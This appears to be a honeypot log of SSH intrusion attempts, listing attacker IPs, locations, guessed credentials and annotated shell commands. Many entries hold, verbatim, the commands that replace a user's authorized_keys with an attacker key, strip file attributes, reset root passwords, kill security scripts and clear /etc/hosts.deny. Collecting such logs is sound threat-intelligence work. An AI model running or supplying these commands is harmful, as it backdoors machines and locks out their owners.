$ cd ~ && rm -rf .ssh && mkdir .ssh && echo "ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~
โ†ณ SSH key persistence
$ cat /proc/cpuinfo | grep name | wc -l
โ†ณ CPU profiling
$ echo -e "asdf1234\nV6uWKTyVpJbv\nV6uWKTyVpJbv"|passwd|bash
$ Enter new UNIX password:
$ echo "asdf1234\nV6uWKTyVpJbv\nV6uWKTyVpJbv\n"|passwd
$ cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'
โ†ณ CPU profiling
$ free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'
$ ls -lh $(which ls)
$ which ls
$ crontab -l
โ†ณ persistence setup
$ w
โ†ณ logged-in users check
$ uname -m
$ cat /proc/cpuinfo | grep model | grep name | wc -l
โ†ณ CPU profiling
$ top
โ†ณ process monitoring
$ uname
โ†ณ OS identification
$ uname -a
โ†ณ OS/kernel identification
$ whoami
โ†ณ privilege check
$ lscpu | grep Model
$ df -h | head -n 2 | awk 'FNR == 2 {print $2;}'
๐ŸŽญ obsidian_blitz_root (165.227.170.113) โ€” Frankfurt am Main, Germany ยท 1 session ยท 20 cmds
2026-06-29 19:58 EDT ยท as admin/asdf1234
file attribute tampering โ†’ SSH key persistence โ†’ CPU profiling
$ cd ~; chattr -ia .ssh; lockr -ia .ssh
โ†ณ file attribute tampering
$ cd ~ && rm -rf .ssh && mkdir .ssh && echo "ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~
โ†ณ SSH key persistence
$ cat /proc/cpuinfo | grep name | wc -l
โ†ณ CPU profiling
$ echo -e "asdf1234\neKSpy8UN3ttE\neKSpy8UN3ttE"|passwd|bash
$ Enter new UNIX password:
$ echo "asdf1234\neKSpy8UN3ttE\neKSpy8UN3ttE\n"|passwd
$ cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'
โ†ณ CPU profiling
$ free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'
$ ls -lh $(which ls)
$ which ls
$ crontab -l
โ†ณ persistence setup
$ w
โ†ณ logged-in users check
$ uname -m
$ cat /proc/cpuinfo | grep model | grep name | wc -l
โ†ณ CPU profiling
$ top
โ†ณ process monitoring
$ uname
โ†ณ OS identification
$ uname -a
โ†ณ OS/kernel identification
$ whoami
โ†ณ privilege check
$ lscpu | grep Model
$ df -h | head -n 2 | awk 'FNR == 2 {print $2;}'
๐ŸŽญ hollow_blitz_root (167.233.84.171) โ€” Nuremberg, Germany ยท 1 session ยท 1 cmd
2026-06-29 18:09 EDT ยท as root/1234
privilege check
$ whoami
โ†ณ privilege check
๐ŸŽญ ironclad_k-pop_root (222.108.100.117) โ€” Gwangmyeong, South Korea ยท 1 session ยท 2 cmds
2026-06-29 15:34 EDT ยท as oracle/123456a@
file attribute tampering โ†’ SSH key persistence
$ cd ~; chattr -ia .ssh; lockr -ia .ssh
โ†ณ file attribute tampering
$ cd ~ && rm -rf .ssh && mkdir .ssh && echo "ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~
โ†ณ SSH key persistence
๐ŸŽญ placid_eagle_root (178.128.1.119) โ€” Santa Clara, United States ยท 1 session ยท 2 cmds
2026-06-29 15:30 EDT ยท as oracle/123456a@
file attribute tampering โ†’ SSH key persistence
$ cd ~; chattr -ia .ssh; lockr -ia .ssh
โ†ณ file attribute tampering
$ cd ~ && rm -rf .ssh && mkdir .ssh && echo "ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~
โ†ณ SSH key persistence
๐ŸŽญ cryptic_tulip_root_247 (176.65.139.247) โ€” Amsterdam, The Netherlands ยท 31 sessions ยท 31 cmds
2026-06-29 13:58 EDT ยท as admin/123456, admin/admin, admin/admin123
Ran uname 3x across 3 sessions โ€” automated OS fingerprinting.
$ uname -s -v -n -r -m ร—31
๐ŸŽญ nocturnal_husk_root (197.221.232.44) โ€” Chinhoyi, Zimbabwe ยท 1 session ยท 19 cmds
2026-06-29 14:42 EDT ยท as root/qwerty
root/qwerty login โ†’ chattr -ia .ssh to lock shell history โ†’ rm -rf .ssh to clear SSH keys โ†’ chmod +x and execute chpasswd with hardcoded root:ZCtcc9sChJan โ†’ pkill -9 secure.sh/auth.sh to terminate existing processes โ†’ echo > /etc/hosts to clear DNS cache โ†’ cat /proc/cpuinfo | grep model/name
$ cd ~; chattr -ia .ssh; lockr -ia .ssh
โ†ณ file attribute tampering
$ cd ~ && rm -rf .ssh && mkdir .ssh && echo "ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~
โ†ณ SSH key persistence
$ cat /proc/cpuinfo | grep name | wc -l
โ†ณ CPU profiling
$ echo "root:ZCtcc9sChJan"|chpasswd|bash
$ rm -rf /tmp/secure.sh; rm -rf /tmp/auth.sh; pkill -9 secure.sh; pkill -9 auth.sh; echo > /etc/hosts.deny; pkill -9 sleep;
โ†ณ execute from /tmp
$ cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'
โ†ณ CPU profiling
$ free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'
$ ls -lh $(which ls)
$ which ls
$ crontab -l
โ†ณ persistence setup
$ w
โ†ณ logged-in users check
$ uname -m
$ cat /proc/cpuinfo | grep model | grep name | wc -l
โ†ณ CPU profiling
$ top
โ†ณ process monitoring
$ uname
โ†ณ OS identification
$ uname -a
โ†ณ OS/kernel identification
$ whoami
โ†ณ privilege check
$ lscpu | grep Model
$ df -h | head -n 2 | awk 'FNR == 2 {print $2;}'
๐ŸŽญ murky_spice_root (34.100.254.191) โ€” Mumbai, India ยท 1 session ยท 2 cmds
2026-06-29 08:36 EDT ยท as oracle/123456a@
file attribute tampering โ†’ SSH key persistence
$ cd ~; chattr -ia .ssh; lockr -ia .ssh
โ†ณ file attribute tampering
$ cd ~ && rm -rf .ssh && mkdir .ssh && echo "ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~
โ†ณ SSH key persistence
๐ŸŽญ haywire_silk_root (47.113.100.24) โ€” Shenzhen, China ยท 20 sessions ยท 20 cmds
2026-06-28 20:35 EDT ยท as admin/123456, admin/admin, admin/admin123
Ran uname 1x across 1 sessions โ€” automated OS fingerprinting.
$ uname -s -v -n -r -m ร—20
๐ŸŽญ murky_minar_root (124.29.193.114) โ€” Lahore, Pakistan ยท 1 session ยท 3 cmds
2026-06-29 02:06 EDT ยท as root/root
ip โ†’ network mapping โ†’ OS/kernel identification
$ /ip cloud print
$ ifconfig
โ†ณ network mapping
$ uname -a
โ†ณ OS/kernel identification
๐ŸŽญ grumpy_burger_root_6 (13.90.206.6) โ€” Boydton, United States ยท 1 session ยท 2 cmds
2026-06-29 00:20 EDT ยท as oracle/oracle123456
file attribute tampering โ†’ SSH key persistence
$ cd ~; chattr -ia .ssh; lockr -ia .ssh
โ†ณ file attribute tampering
$ cd ~ && rm -rf .ssh && mkdir .ssh && echo "ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~
โ†ณ SSH key persistence
๐ŸŽญ velvet_muay_db (117.121.214.50) โ€” Buriram, Thailand ยท 1 session ยท 2 cmds
2026-06-29 00:20 EDT ยท as oracle/oracle123456
file attribute tampering โ†’ SSH key persistence
$ cd ~; chattr -ia .ssh; lockr -ia .ssh
โ†ณ file attribute tampering
$ cd ~ && rm -rf .ssh && mkdir .ssh && echo "ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~
โ†ณ SSH key persistence
๐ŸŽญ clandestine_pistachio_root (95.38.233.40) โ€” Tehran, Iran ยท 12 sessions ยท 12 cmds
2026-06-28 18:02 EDT ยท as admin/123456, admin/admin, admin/password
echo (repeated echo 12x)
$ echo SHELL_TEST ร—12
๐ŸŽญ stoic_burger_root (141.11.88.9) โ€” Crugers, United States ยท 27 sessions ยท 27 cmds
2026-06-28 13:26 EDT ยท as admin/123456, admin/admin, admin/admin123
Ran uname 2x across 2 sessions โ€” automated OS fingerprinting.
$ uname -s -v -n -r -m ร—27
๐ŸŽญ listless_clog_root (176.65.139.219) โ€” Eygelshoven, The Netherlands ยท 31 sessions ยท 31 cmds
2026-06-28 13:20 EDT ยท as admin/123456, admin/admin, admin/admin123
Ran uname 4x across 4 sessions โ€” automated OS fingerprinting.
$ uname -s -v -n -r -m ร—31
๐ŸŽญ murky_clog_root (91.92.40.153) โ€” Eygelshoven, The Netherlands ยท 31 sessions ยท 31 cmds
2026-06-28 12:45 EDT ยท as admin/123456, admin/admin, admin/admin123
Ran uname 2x across 2 sessions โ€” automated OS fingerprinting.
$ uname -s -v -n -r -m ร—31
๐ŸŽญ manic_wok_root_98 (124.117.228.98) โ€” Xingfulu, China ยท 1 session ยท 1 cmd
2026-06-28 08:47 EDT ยท as root/123456
Ran uname 1x across 1 sessions โ€” automated OS fingerprinting.
$ uname -s -m
๐ŸŽญ savage_star_root (141.11.88.11) โ€” Crugers, United States ยท 27 sessions ยท 27 cmds
2026-06-28 06:46 EDT ยท as admin/123456, admin/admin, admin/admin123
Ran uname 4x across 4 sessions โ€” automated OS fingerprinting.
$ uname -s -v -n -r -m ร—27
๐ŸŽญ vapor_kimchi_root (14.63.198.239) โ€” Seongnam-si, South Korea ยท 1 session ยท 2 cmds
2026-06-28 06:35 EDT ยท as oracle/zaq1@WSX
file attribute tampering โ†’ SSH key persistence
$ cd ~; chattr -ia .ssh; lockr -ia .ssh
โ†ณ file attribute tampering
$ cd ~ && rm -rf .ssh && mkdir .ssh && echo "ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~
โ†ณ SSH key persistence
๐ŸŽญ scrappy_cosmo_root_32 (81.23.173.32) โ€” Moscow, Russia ยท 1 session ยท 2 cmds
2026-06-28 05:51 EDT ยท as oracle/zaq1@WSX
file attribute tampering โ†’ SSH key persistence
$ cd ~; chattr -ia .ssh; lockr -ia .ssh
โ†ณ file attribute tampering
$ cd ~ && rm -rf .ssh && mkdir .ssh && echo "ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~
โ†ณ SSH key persistence
๐ŸŽญ nocturnal_cipher_root_215 (186.147.162.215) โ€” Cali, Colombia ยท 1 session ยท 2 cmds
2026-06-28 05:33 EDT ยท as oracle/zaq1@WSX
file attribute tampering โ†’ SSH key persistence
$ cd ~; chattr -ia .ssh; lockr -ia .ssh
โ†ณ file attribute tampering
$ cd ~ && rm -rf .ssh && mkdir .ssh && echo "ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~
โ†ณ SSH key persistence
๐ŸŽญ wired_burger_sol (141.11.88.12) โ€” Crugers, United States ยท 27 sessions ยท 27 cmds
2026-06-28 00:11 EDT ยท as admin/123456, admin/admin, admin/admin123
Ran uname 2x across 2 sessions โ€” automated OS fingerprinting.
$ uname -s -v -n -r -m ร—27
๐ŸŽญ lurking_lotus_root_57 (182.19.35.57) โ€” Chennai, India ยท 24 sessions ยท 24 cmds
2026-06-27 12:55 EDT ยท as admin/123456, admin/admin, admin/password
echo (repeated echo 12x)
$ echo SHELL_TEST ร—24
๐ŸŽญ crimson_shogun (43.153.147.41) โ€” Tokyo, Japan ยท 1 session ยท 1 cmd
2026-06-27 16:07 EDT ยท as test/test
Ran uname 1x across 1 sessions โ€” automated OS fingerprinting.
$ uname -a
โ†ณ OS/kernel identification
๐ŸŽญ crimson_tulip_root (176.65.139.242) โ€” Eygelshoven, The Netherlands ยท 12 sessions ยท 12 cmds
2026-06-27 15:33 EDT ยท as admin/password, deploy/deploy, docker/docker123
Ran uname 2x across 2 sessions โ€” automated OS fingerprinting.
$ uname -s -v -n -r -m ร—12
๐ŸŽญ grumpy_toucan_root (170.239.108.21) โ€” Jaboatรฃo dos Guararapes, Brazil ยท 1 session ยท 1 cmd
2026-06-27 15:08 EDT ยท as root/1234
Ran uname 1x across 1 sessions โ€” automated OS fingerprinting.
$ uname -a && echo "====" && cat /etc/os-release
๐ŸŽญ ironclad_pretzel_root (212.132.120.41) โ€” Berlin, Germany ยท 1 session ยท 19 cmds
2026-06-27 14:56 EDT ยท as root/admin
file attribute tampering โ†’ SSH key persistence โ†’ CPU profiling โ†’ execute from /tmp โ†’ persistence setup
$ cd ~; chattr -ia .ssh; lockr -ia .ssh
โ†ณ file attribute tampering
$ cd ~ && rm -rf .ssh && mkdir .ssh && echo "ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~
โ†ณ SSH key persistence
$ cat /proc/cpuinfo | grep name | wc -l
โ†ณ CPU profiling
$ echo "root:Zpx2587Jv6iM"|chpasswd|bash
$ rm -rf /tmp/secure.sh; rm -rf /tmp/auth.sh; pkill -9 secure.sh; pkill -9 auth.sh; echo > /etc/hosts.deny; pkill -9 sleep;
โ†ณ execute from /tmp
$ cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'
โ†ณ CPU profiling
$ free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'
$ ls -lh $(which ls)
$ which ls
$ crontab -l
โ†ณ persistence setup
$ w
โ†ณ logged-in users check
$ uname -m
$ cat /proc/cpuinfo | grep model | grep name | wc -l
โ†ณ CPU profiling
$ top
โ†ณ process monitoring
$ uname
โ†ณ OS identification
$ uname -a
โ†ณ OS/kernel identification
$ whoami
โ†ณ privilege check
$ lscpu | grep Model
$ df -h | head -n 2 | awk 'FNR == 2 {print $2;}'
๐ŸŽญ crimson_eagle_root (199.195.254.215) โ€” New York, United States ยท 1 session ยท 19 cmds
2026-06-27 14:27 EDT ยท as root/admin
file attribute tampering โ†’ SSH key persistence โ†’ CPU profiling โ†’ execute from /tmp โ†’ persistence setup
$ cd ~; chattr -ia .ssh; lockr -ia .ssh
โ†ณ file attribute tampering
$ cd ~ && rm -rf .ssh && mkdir .ssh && echo "ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~
โ†ณ SSH key persistence
$ cat /proc/cpuinfo | grep name | wc -l
โ†ณ CPU profiling
$ echo "root:79I0rNXoHjJz"|chpasswd|bash
$ rm -rf /tmp/secure.sh; rm -rf /tmp/auth.sh; pkill -9 secure.sh; pkill -9 auth.sh; echo > /etc/hosts.deny; pkill -9 sleep;
โ†ณ execute from /tmp
$ cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'
โ†ณ CPU profiling
$ free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'
$ ls -lh $(which ls)
$ which ls
$ crontab -l
โ†ณ persistence setup
$ w
โ†ณ logged-in users check
$ uname -m
$ cat /proc/cpuinfo | grep model | grep name | wc -l
โ†ณ CPU profiling
$ top
โ†ณ process monitoring
$ uname
โ†ณ OS identification
$ uname -a
โ†ณ OS/kernel identification
$ whoami
โ†ณ privilege check
$ lscpu | grep Model
$ df -h | head -n 2 | awk 'FNR == 2 {print $2;}'
๐ŸŽญ rusty_tulip_root (193.32.162.83) โ€” Amsterdam, The Netherlands ยท 10 sessions ยท 10 cmds
2026-06-25 12:20 EDT ยท as mysql/mysql, mysql/mysql@123, oracle/oracle
Ran uname 1x across 1 sessions โ€” automated OS fingerprinting.
$ uname -a ร—10
โ†ณ OS/kernel identification
๐ŸŽญ sullen_cactus_root (187.251.132.2) โ€” Culiacรกn, Mexico ยท 2 sessions ยท 4 cmds
2026-06-27 03:55 EDT ยท as oracle/Oracle@2026
file attribute tampering โ†’ SSH key persistence
$ cd ~; chattr -ia .ssh; lockr -ia .ssh ร—2
โ†ณ file attribute tampering
$ cd ~ && rm -rf .ssh && mkdir .ssh && echo "ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~ ร—2
โ†ณ SSH key persistence
๐ŸŽญ placid_neon_root_28 (14.136.93.28) โ€” Sheung Wan, Hong Kong ยท 9 sessions ยท 9 cmds
2026-06-26 18:14 EDT ยท as admin/123456, admin/admin, admin/admin123
ls โ†’ hostname discovery โ†’ privilege check โ†’ OS/kernel identification โ†’ mount โ†’ netstat (repeated hostname discovery 3x)
$ ls -la /
$ hostname ร—3
โ†ณ hostname discovery
$ whoami
โ†ณ privilege check
$ uname -a ร—2
โ†ณ OS/kernel identification
$ mount | head -5
$ netstat -tulpn | head -10
๐ŸŽญ frantic_durian_root (188.166.183.133) โ€” Singapore, Singapore ยท 2 sessions ยท 2 cmds
2026-06-26 09:54 EDT ยท as root/1234
hostname discovery โ†’ OS/kernel identification
$ hostname
โ†ณ hostname discovery
$ uname -a
โ†ณ OS/kernel identification
๐ŸŽญ murky_bistro_root (51.68.226.87) โ€” Roubaix, France ยท 1 session ยท 2 cmds
2026-06-27 03:57 EDT ยท as oracle/Oracle@2026
file attribute tampering โ†’ SSH key persistence
$ cd ~; chattr -ia .ssh; lockr -ia .ssh
โ†ณ file attribute tampering
$ cd ~ && rm -rf .ssh && mkdir .ssh && echo "ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~
โ†ณ SSH key persistence
๐ŸŽญ savage_liberty_root (103.143.11.150) โ€” Los Angeles, United States ยท 1 session ยท 2 cmds
2026-06-27 03:26 EDT ยท as oracle/Oracle@2026
file attribute tampering โ†’ SSH key persistence
$ cd ~; chattr -ia .ssh; lockr -ia .ssh
โ†ณ file attribute tampering
$ cd ~ && rm -rf .ssh && mkdir .ssh && echo "ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~
โ†ณ SSH key persistence
๐ŸŽญ baroque_hawker_root (152.42.240.74) โ€” Singapore, Singapore ยท 1 session ยท 2 cmds
2026-06-27 03:23 EDT ยท as oracle/Oracle@2026
file attribute tampering โ†’ SSH key persistence
$ cd ~; chattr -ia .ssh; lockr -ia .ssh
โ†ณ file attribute tampering
